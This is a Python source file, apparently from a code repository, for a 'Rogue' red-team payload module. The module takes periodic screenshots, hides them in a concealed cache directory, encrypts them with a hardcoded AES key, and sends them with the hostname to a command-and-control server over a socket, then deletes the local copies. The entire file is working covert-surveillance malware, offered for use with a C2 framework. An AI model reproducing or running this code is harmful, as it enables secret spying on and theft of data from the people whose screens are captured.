177 lines
6.2 KiB
Python
177 lines
6.2 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
PAYLOAD: Screen Capture Module
|
|
DESCRIPTION: Takes periodic screenshots and exfiltrates them to C2
|
|
AUTHOR: Rogue Red Team
|
|
VERSION: 2.0
|
|
"""
|
|
import os, sys, time, datetime, threading, socket, base64, hashlib, json
|
|
from PIL import ImageGrab
|
|
import pyautogui
|
|
from Cryptodome.Cipher import AES
|
|
|
|
class ScreenCapture:
|
|
def __init__(self, interval=30, c2_host=None, c2_port=9091, max_screenshots=100):
|
|
self.interval = interval
|
|
self.c2_host = c2_host or self.get_default_c2()
|
|
self.c2_port = c2_port
|
|
self.max_screenshots = max_screenshots
|
|
self.running = False
|
|
self.encryption_key = hashlib.sha256(b'RogueScreenCap2024').digest()
|
|
self.output_dir = os.path.expanduser("~/.cache/.rogue/screenshots")
|
|
os.makedirs(self.output_dir, exist_ok=True)
|
|
|
|
# Clear old screenshots if over limit
|
|
self.cleanup_old_screenshots()
|
|
|
|
def get_default_c2(self):
|
|
"""Get C2 host from environment or default"""
|
|
return os.environ.get('ROGUE_C2_HOST', 'localhost')
|
|
|
|
def cleanup_old_screenshots(self):
|
|
"""Remove old screenshots if exceeding max"""
|
|
try:
|
|
screenshots = sorted([f for f in os.listdir(self.output_dir) if f.startswith('screenshot_')])
|
|
if len(screenshots) > self.max_screenshots:
|
|
for i in range(len(screenshots) - self.max_screenshots):
|
|
os.remove(os.path.join(self.output_dir, screenshots[i]))
|
|
except Exception as e:
|
|
print(f"[!] Cleanup error: {e}")
|
|
|
|
def capture_screen(self):
|
|
"""Capture the current screen"""
|
|
try:
|
|
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
filename = f"screenshot_{timestamp}.png"
|
|
filepath = os.path.join(self.output_dir, filename)
|
|
|
|
# Capture screen
|
|
screenshot = ImageGrab.grab()
|
|
screenshot.save(filepath, 'PNG', optimize=True, quality=85)
|
|
|
|
print(f"[+] Captured screen: {filename}")
|
|
return filepath
|
|
|
|
except Exception as e:
|
|
print(f"[!] Screen capture failed: {e}")
|
|
return None
|
|
|
|
def encrypt_file(self, filepath):
|
|
"""Encrypt file for exfiltration"""
|
|
try:
|
|
with open(filepath, 'rb') as f:
|
|
data = f.read()
|
|
|
|
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
|
|
ciphertext, tag = cipher.encrypt_and_digest(data)
|
|
encrypted = cipher.nonce + tag + ciphertext
|
|
|
|
return base64.b64encode(encrypted).decode()
|
|
|
|
except Exception as e:
|
|
print(f"[!] Encryption failed: {e}")
|
|
return None
|
|
|
|
def exfil_screenshot(self, filepath):
|
|
"""Exfiltrate screenshot to C2"""
|
|
try:
|
|
encrypted_data = self.encrypt_file(filepath)
|
|
if not encrypted_data:
|
|
return False
|
|
|
|
metadata = {
|
|
"filename": os.path.basename(filepath),
|
|
"timestamp": datetime.datetime.now().isoformat(),
|
|
"hostname": socket.gethostname(),
|
|
"size": os.path.getsize(filepath)
|
|
}
|
|
|
|
payload = {
|
|
"metadata": metadata,
|
|
"data": encrypted_data
|
|
}
|
|
|
|
# Send to C2
|
|
s = socket.socket()
|
|
s.connect((self.c2_host, self.c2_port))
|
|
s.sendall(json.dumps(payload).encode())
|
|
s.close()
|
|
|
|
# Delete local file after successful exfiltration
|
|
os.remove(filepath)
|
|
print(f"[+] Exfiltrated screenshot to {self.c2_host}:{self.c2_port}")
|
|
return True
|
|
|
|
except Exception as e:
|
|
print(f"[!] Exfiltration failed: {e}")
|
|
return False
|
|
|
|
def capture_loop(self):
|
|
"""Main capture loop"""
|
|
while self.running:
|
|
try:
|
|
filepath = self.capture_screen()
|
|
if filepath:
|
|
# Try to exfiltrate
|
|
if not self.exfil_screenshot(filepath):
|
|
# If exfiltration fails, keep file locally
|
|
print(f"[!] Keeping screenshot locally: {filepath}")
|
|
|
|
time.sleep(self.interval)
|
|
|
|
except Exception as e:
|
|
print(f"[!] Capture loop error: {e}")
|
|
time.sleep(self.interval)
|
|
|
|
def start(self):
|
|
"""Start screen capture"""
|
|
print(f"[+] Starting screen capture every {self.interval}s")
|
|
print(f"[+] Exfiltration to {self.c2_host}:{self.c2_port}")
|
|
print(f"[+] Local storage: {self.output_dir}")
|
|
print("[+] Press Ctrl+C to stop")
|
|
|
|
self.running = True
|
|
self.capture_loop()
|
|
|
|
def stop(self):
|
|
"""Stop screen capture"""
|
|
self.running = False
|
|
print("[+] Screen capture stopped")
|
|
|
|
def rogue_integration():
|
|
"""Wrapper for Rogue C2 integration"""
|
|
import argparse
|
|
|
|
parser = argparse.ArgumentParser(description='Rogue Screen Capture')
|
|
parser.add_argument('--interval', type=int, default=30, help='Capture interval in seconds')
|
|
parser.add_argument('--c2-host', help='C2 server hostname')
|
|
parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port')
|
|
parser.add_argument('--max-local', type=int, default=100, help='Maximum local screenshots to keep')
|
|
|
|
args, unknown = parser.parse_known_args()
|
|
|
|
# Check if we're being called from Rogue with arguments
|
|
if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration':
|
|
# Parse Rogue-style arguments
|
|
args.interval = 30
|
|
args.c2_host = None
|
|
args.max_local = 100
|
|
|
|
capturer = ScreenCapture(
|
|
interval=args.interval,
|
|
c2_host=args.c2_host,
|
|
c2_port=args.c2_port,
|
|
max_screenshots=args.max_local
|
|
)
|
|
|
|
try:
|
|
capturer.start()
|
|
return "[+] Screen capture started successfully"
|
|
except Exception as e:
|
|
return f"[!] Screen capture failed to start: {e}"
|
|
|
|
if __name__ == "__main__":
|
|
# When run directly, start the screen capture
|
|
capturer = ScreenCapture()
|
|
capturer.start()
|